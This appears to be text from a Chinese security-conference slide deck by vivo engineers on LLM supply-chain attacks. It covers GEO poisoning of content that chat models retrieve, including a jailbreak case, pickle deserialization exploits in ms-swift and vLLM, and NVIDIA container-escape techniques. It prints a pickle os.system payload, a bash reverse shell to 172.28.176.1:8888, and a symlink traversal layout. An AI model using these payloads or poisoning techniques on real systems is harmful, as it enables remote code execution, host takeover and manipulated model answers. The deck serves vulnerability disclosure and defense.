AI智能总结
戎誉vivo大模型安全工程师凡浩vivo大模型安全工程师 Aboutus 戎誉 vivo大模型安全工程师,专注于大模型安全研究,涵盖模型供应链安全、AI产品安全等方向。曾发现多个NVIDIA等主流厂商大模型产品中的安全漏洞,并获得官方致谢。曾在Xcon、看雪SDC发表安全攻防主题演讲。 凡浩 vivo大模型安全工程师,主要从事大模型基础设施和大模型产品的攻防研究,发现过多个NVIDIA等厂商大模型产品的安全漏洞并获得厂商致谢。曾在Xcon、看雪SDC发表安全攻防主题演讲。 PART 01PART 02PART 03总述GEO投毒反序列化漏洞目录CONTENTSPART 03GPU容器逃逸 总述 GEO投毒PART 02 GEO投毒 GEO投毒 1.攻击者选取目标关键词,通过GEO方法输出相关文档、代码库、博客等资料,并传播到各平台 2.大模型检索相应关键词时,命中被投毒的资料,从而输出了恶意内容 GEO投毒-案例一:代码投毒 Q:如何使用脚本从pump.fun网站购买solana代币? GEO投毒-案例一:代码投毒 投毒内容 chatgpt参考恶意内容 恶意文档 GEO投毒-案例二:内容投毒 Q:想了解AI可以看哪些媒体? GEO投毒-案例二:内容投毒 投毒内容 GEO投毒-案例三:内容投毒越狱 Q:某色情游戏的截图? GEO投毒-案例三:内容投毒越狱 投毒内容 PART 03 反序列化漏洞 反序列化漏洞 序列化:数据结构或对象→二进制串反序列化:序列化生成的二进制串→数据结构或对象大模型生态大量使用序列化格式: YAMLRPC消息……PicklePytorch checkpointTokenizer文件 反序列化漏洞 以Python中的pickle库举例: 用于序列化一个对象(Serialization)用于反序列化数据,实现一个对象的构建(Deserialization) pickle.dump(object)pickle.load(picklestring) __reduce__()描述“如何创建对象”__getstate__()获取“要序列化的状态”__setstate__(state)在对象创建后恢复内部状态__getnewargs__()在反序列化时向类的__new__()传参 反序列化漏洞 大模型供应链上常见的反序列化风险: 反序列化-案例一:训练框架漏洞 ms-swift在3.0版本前,存在一个名为.mdl的文件存储模型ID元数据,且使用pickle生成和加载 # exploit.py构造恶意.mdl文件 importpickleimportos classExploit:def__reduce__(self):return(os.system,('mkdir HACKED',)) # .mdldata=pickle.dumps(Exploit())withopen('.mdl','wb')as f:f.write(data) 反序列化-案例一:训练框架漏洞 正常从远程拉取模型,进行微调。恶意指令会在.mdl文件加载后,悄然执行 CUDA_VISIBLE_DEVICES=0 swift sft\--model_type qwen1half-0_5b-chat\--model_id_or_path=HaoFan2024/ms-swift-test-fanhao\--dataset blossom-math-zh\--num_train_epochs 5\--sft_type lora\--output_dir output\--eval_steps 200 反序列化-案例二:推理框架漏洞 推理框架的反序列化漏洞主要来自于多机通信场景 漏洞背景:为了支撑多租户的并发请求,大模型会采用分布式部署方案。大模型编码(Prefill)是计算密集型任务,对算力要求较高,而解码(Decode)是访存密集型任务,性能更依靠显存,因此大模型推理框架开始采用PD分离的架构。Prefill集群节点和Decode集群节点间需要进行通信,传输kv cache等数据。 反序列化-案例二:推理框架漏洞 (受害者)部署PyNcclPipe服务 (攻击者)向PyNcclPipe服务发送恶意数据 class Evil:def __reduce__(self):import oscmd='/bin/bash-c "bash-i >&/dev/tcp/172.28.176.1/8888 0>&1"'return (os.system,(cmd,))client = StatelessProcessGroup.create(host='172.17.0.1',port=18888,rank=1,world_size=2,)client.send_obj(obj=Evil(),dst=0) config=KVTransferConfig(kv_ip="0.0.0.0",kv_port=18888,kv_rank=0,kv_parallel_size=1,kv_buffer_size=1024,kv_buffer_device="cpu") p=PyNcclPipe(config=config,local_rank=0)p.recv_tensor()# Receive data 反序列化-案例二:推理框架漏洞之ShadowMQ ShadowMQ:vLLM中基于ZMQ的分布式传输机制,同样被SGLang、Modular Max Serve等框架沿用,使得其潜在的反序列化漏洞在分布式推理生态中被进一步复制和放大。 # vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.pyself.sender_ack = self.context.socket(zmq.constants.PULL)... ack = self.sender_ack.recv_pyobj() # zmq/sugar/socket.pydefrecv_pyobj(self, flags: int = 0)-> Any:msg = self.recv(flags)return self._deserialize(msg,pickle.loads) PART 03 GPU容器逃逸 GPU容器逃逸 高级运行时:负责容器镜像的传输和管理,解压镜像,并传递bundle给低级运行时来运行容器。低级运行时:依据bundle运行容器 GPU容器逃逸-原理 NVIDIA Container Toolkit架构 libnvidia-container提供了完善的API和nvidia-container-cli,支持不同的runtimes注入GPU到容器中 GPU容器逃逸-案例一:挂载主机目录 GPU容器逃逸-案例一:挂载主机目录 nvc_driver_mount(struct nvc_context*ctx,const struct nvc_container*cnt,conststruct nvc_driver_info*info){...libnvidia-container在挂载文件时有两个来源 /* Procfs mount *//* Application profile mount *//* Host binary and library mounts *//* Firmware mounts *//* IPC mounts *//* Device mounts */ 1.宿主机 /* Container library mounts */find_library_paths() ...if(cnt->libs!=NULL&&cnt->nlibs>0) {...filter_libraries(info, libs,&nlibs);...mount_files(...)...}... 2.容器自身 为了实现cuda前向兼容性,会从容器内查找不同版本的cuda库并挂载 GPU容器逃逸-案例一:挂载主机目录 容器自身挂载的目标位于/usr/local/cuda/compat/lib*.so.*,是攻击者可控的 find_library_paths(struct error*err,struct nvc_container*cnt){... if(path_append(err, path,"compat/lib*.so.*")<0)return(-1);if(xglob(err, path, GLOB_ERR,NULL,&gl)<0)gotofail;if(gl.gl_pathc>0) {...for(size_t i=0; i<gl.gl_pathc;++i) {if(path_resolve(err, path,cnt->cfg.rootfs,gl.gl_pathv[i]+strlen(cnt->cfg.rootfs))<0)gotofail;...}每个检索到的库都需要通过path_resolve函数进行安全检查 GPU容器逃逸-案例一:挂载主机目录 路径解析中的安全限制 do_path_resolve(struct error*err,bool full,char*buf,const char*root,const char*path){... while((file=strsep(&ptr,"/"))!=NULL) {... elseif(str_equal(file,"..")) {if((p=strrchr(realpath,'/'))==NULL) {error_setx(err,"path error:%s resolves outside of%s", path, root);gotofail;} path_resolve函数对软链接、..等内容进行处理,返回绝对路径对越过container根目录的路径进行了安全限制,无法直接实现路径穿越 GPU容器逃逸-案例一:挂载主机目录 绕过方式1.将恶意的libnvidia-ml.so.7文件隐藏在libnvidia-ml.so.6文件夹中,绕过path_resolve的安全检查 $ tree /usr/local/cuda/compat/usr/local/cuda/compat├── libnvidia-ml.so.6│└── libnvidia-ml.so.7-> ../../../../../../../../../../../└── libnvidia-ml.so.7 2.在mount的目标文件夹下创建同名链接,libnvidia-ml.so.6指向/usr/local/cuda/compat$ tree /usr/lib64/usr/lib64└── libnvidia-ml.so.6-> ../../usr/local/cuda/compat 利用效果 libnvidia-ml.so.6被挂载到/usr/lib64后,实际上是挂载到了/usr/local/cuda/compat$ tree /usr/local/cuda/compat/usr/local/cuda/compat└── libnvidia-ml.so.7-> ../../../../../../../../../../../ 原本正常的libnvidia-ml.so.7库文件被替换为了指向宿主机根目录的链接。在后续挂载中实现了路径穿越 GPU容器逃逸-案例二:被继承的环境变量 GPU容器逃逸-案例二:被继承的环境变量 漏洞点:createContainer hook在运行时会继承镜像中的环境变量 runc init流程: 调用populateProcessEnvironment,利用os.Setenv设置环境